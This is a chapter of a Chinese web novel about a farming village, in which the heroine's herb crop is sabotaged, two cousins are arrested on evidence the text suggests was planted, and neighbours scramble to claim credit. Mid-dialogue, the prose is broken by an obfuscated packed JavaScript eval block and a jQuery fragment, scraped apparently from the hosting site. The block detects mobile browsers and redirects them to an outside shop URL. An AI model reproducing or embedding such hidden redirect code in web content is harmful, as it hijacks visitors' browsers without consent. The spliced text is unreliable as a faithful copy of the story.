林壮:“自然是在家中睡觉。”林猛跟着点头。
许茂生问一旁哆哆嗦嗦的小张氏:“你男人昨晚在家吗?”
“在家。”小张氏不敢抬头,她夜里睡得死,一个晚上都没醒,林壮在不在其实她并不知道。
“说实话,若敢撒谎便抓你回去蹲大牢。”许茂生道。
小张氏“噗通”一声跪在地上,“是真的,我跟我男人睡一块,我能不知道他在不在吗?昨晚他哪儿都没去,就在家里睡觉。”小张氏很清楚,现在若说不在,他男人恐怕要保不住了。
问林猛,林猛也坚持说在家睡觉没有外出。林巧和林大宝则说睡着了不知道。张氏被休,林元福不在,林家这几个人问了个遍,没问出什么。
“官爷,他们说谎,就是这两兄弟干的,我可以做证。”赵四从人群后走出来。
许茂生眯了眯眼:“你亲眼所见?”
“是,昨晚我拉肚子,在山里蹲了大半宿,亲眼看见林猛和林壮进山割了林青家的药秧子。”只看见进山,并未看见割,但为了证明自己的话有力,赵四一口咬死他全看见了。他还把当时两兄弟的对话也说了,林猛嫌路不好走,林壮说他事多。
林壮和林猛都傻眼了,楞在那儿不知如何是好,因为他们确实说过这样的话。那是刚进山没多久,路不好走,林猛抱怨了两句,整个晚上也就那会多说了几句。
许茂生:“你拉肚子去山里做什么?”
“这不是自家茅房还得收拾,去山里省事嘛。”赵四儿嘿嘿笑着,他看上去确实有点精神不济,至于是不是真拉肚子就不知道了。
“官爷,就是这哥俩干的,您快来看看这衣服。”屋外有人喊。
许茂生领人走出了屋子,钱富贵指着墙角晾着的两套刚洗的衣服:“您看,那两套衣服就是他们哥俩的,刚洗没多久,肯定有问题。”
许茂生看了一眼钱富贵没有说话,而是走到还在往下滴水的两套衣服前。他在一条裤子里找到两片黄芪叶。在另一件上衣后背找到一小撮土黄色的花粉,这花粉正是牛膝花的花粉。
许茂生捏着叶子皱了皱眉,转身问林壮和林猛:“证据确凿你们俩还有什么话说?”
林壮懵了,“不可能,我们衣服怎么可能有那些东西。”明明都搓洗了好几遍,一点颜色都没有,里里外外都翻找了,更不可能有叶子。
林巧大喊:“林青你不要太过分,我们好歹是亲戚,你不能诬陷我哥。”
林猛怒道:“林青你害我们,你这毒妇。”
许茂生上去“啪”就是一个大嘴巴,“证据是从你哥俩衣服里搜出来的,她害你什么?有话到县衙跟县太爷说吧,带走。”
“不能走啊,林青你不能这么做,他是你堂哥……”小张氏坐在地上哭嚎,但无人理会。
许茂生把林家兄弟压上囚车带回县衙,并告知林青和里正有了结果会有人来通知,全程都是公事公办。
等官府的人走后,赵四找上林青:“你说话得算数,我给你做证了。”
钱富贵也凑过来,“是我发现刚洗的衣服有问题,也得算我一个。”
吴大有,“还有我,我早说是你大伯一家,功劳也得有我一份。”
“我也发现林家兄弟有问题,让他爹去干活,他俩在家窝着,明显没安好心。”
……大半个村的人都说自己有功。
一群人围着林青,争先恐后说自己的功劳。林青被挤得一退再退,在后面看完全过程的徐茂春走上前,“说话就说话,挤什么,别吓着我外孙媳妇。”
“我们这不是着急嘛。”钱富贵不好意思地后退几步。
徐茂春:“今年庄稼还没收呢,急什么,急也得等事情有定论之后再说。”
林青:“我外公说的对,等官府那边给了准信,我定会给大家一个交代,决不食言。”
“好,我们信你。”
“林青讲信用,咱们村没人比得过她。”
“林元和的闺女,错不了。”
……
林青第一次听到这么多夸赞,以前这些人没少说她风凉话,利字当头,真假不重要。
人群逐渐散去,两人慢慢往家走。徐茂春问:“他们的那些话是真的?”
林青意味深长道:“真不真不重要。”
除了赵四和王氏,其他人全是凭空猜测或是捏造,尤其从林家兄弟衣服里搜出的黄芪叶和花粉,下过水的叶子不可能那么完好,刚洗过的衣服也不可能还粘有花粉。至于是谁弄上去的,许茂生都没有追究,林青也没必要知道,结果是她想要的就行了。
徐茂春看她一眼,心道:好一个釜底抽薪,让全村指正林家兄弟,证据都给送到眼前,那两兄弟看着也没多硬气,进了衙门就不容他们狡辩了。这大伯一家到底是怎么做人的?整个村子竟无人想他们好,也是绝了。
两个小的在家里坐立不安,听见大门响,林冬问:“谁?”
“是我,大姐。”
小丫头一喜,赶紧跑过去开门。回到家林青还了隔壁的绿豆,赶紧提着镰刀往地里去。这天比早上还阴,今晚可能要下雨,地里的残枝败叶得弄出来,不然大雨一浇就不好收拾了。
她先去了村外的地,那边相对少一些。林青正弯腰捡拾,听到动静,抬头愣了一下。只见十几个妇人走进地里,不声不响地帮她收拾残枝。
“婶子们,你们这是?”
“闲着也是闲着,一起捡,快。”赵康平媳妇周氏笑呵呵地说道。
张德媳妇吴氏:“是啊,眼看要来雨了,下一场雨说不定能缓过来不少,我们帮你。”
这让林青很意外,一时间不知该说什么好。
王氏:“山里那边里正带人过去了,让你不用担心,别愣着了,快收拾吧。”
这些女人干活可比林青手脚麻利多了,捡残枝顺便把大草也拔了,本来就没几亩地,这么多人没用多长时间就收拾完了。
“多谢婶子们!”林青抹了一下额头上的汗,与妇人们一同往村里走。
“谢啥,乡里乡亲的,我们也没做什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12159900|126421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“往后我家看地,顺便帮你家也看了,省得再让什么给祸害了。”
“这地头的草得锄,不然有牛羊过来,不小心吃了药苗就不好了。”
“没事,我家那口子在家呢,明天让他过来砍几锄头。”
……
听着她们把自家地都安排成他们的活,林青心里不太是滋味。如果是以前她会非常感激,但现在因为她许诺的好处而讨好,这种好变了味儿,让人感动不起来。
王氏靠近林青偷偷说:“我最先跟你说的,得算我家一个。”
林青揶揄道:“你算哪家?”李家还是赵家。
王氏脸一红,瞪了林青一眼,“自然是李家,还能是哪家。”顿了一下,王氏又道:“我跟你说,就这一次,不会再有下回了。”赵四儿就体力好,让她舒坦,其实过后细想想也挺没意思的,还让她担惊受怕,犯不上,以后还是跟自己男人好好过日子吧。
她虽没明说,但林青知道王氏的意思。林青看她一眼,心说这事你跟我说什么,我又不是赵四儿。
到了村里,妇人们各回各家,林青去了山里,那边也收拾完了,这会儿里正带人锄地头的草呢。
林青:“各位叔伯辛苦了。”里正带到这边来的都是留在村里的男人,年岁大的多。
“这点活算啥。”里正摆摆手,“我在地里走了两趟,还剩下不少好的,至少不会绝收,你也不用太难过。”
有人问:“青丫头,牛膝要的是不是根儿啊?要根的话,上面断了影响不大吧?”
“怎么能没影响,减产肯定得减产。”
也不是所有人都不了解。
林青走到地边,拔了一棵牛膝,时间还短,牛膝的根还是小小一个。“牛膝和黄芪主要是根入药,只要根不被破坏,就还有再生的机会。”
里正:“青丫头,你、”
林青:“我既然说要教大家种便不会食言,提前让大家知道一些也好。”
“我们都能种吗?”几个男人眼巴巴地看着林青。
“至于教谁?等官府定了,我跟里正商量一下再做决定。”
“行,就这么定了。”里正脸上的褶子都堆一起了,笑的,青丫头仁义啊。
“好,我们等着。”觉得自己也有希望,大家都笑得合不拢嘴,一群人开开心心往村里走。
见她回来得这么快,徐茂春纳闷,“侍弄完了?这么快?”
林青把村里人的表现说了,末了她问:“我这么做是不是有点不道德?”以利诱之必以利弃之。
徐茂春问:“你冤枉了林家兄弟?”
林青摇头,“没有。”
“你对村民有所图?指着他们活?”
“不曾。”
徐茂春:“人只要活着便逃不开利益牵扯,你所做只不过是顺水推舟,那两兄弟若真被冤枉,衙门不会坐视不理。别纠结了,快去做饭,早上就没吃几口,早饿了。”
林青:“……”好吧,没空给她纠结,一家老小嗷嗷待哺呢。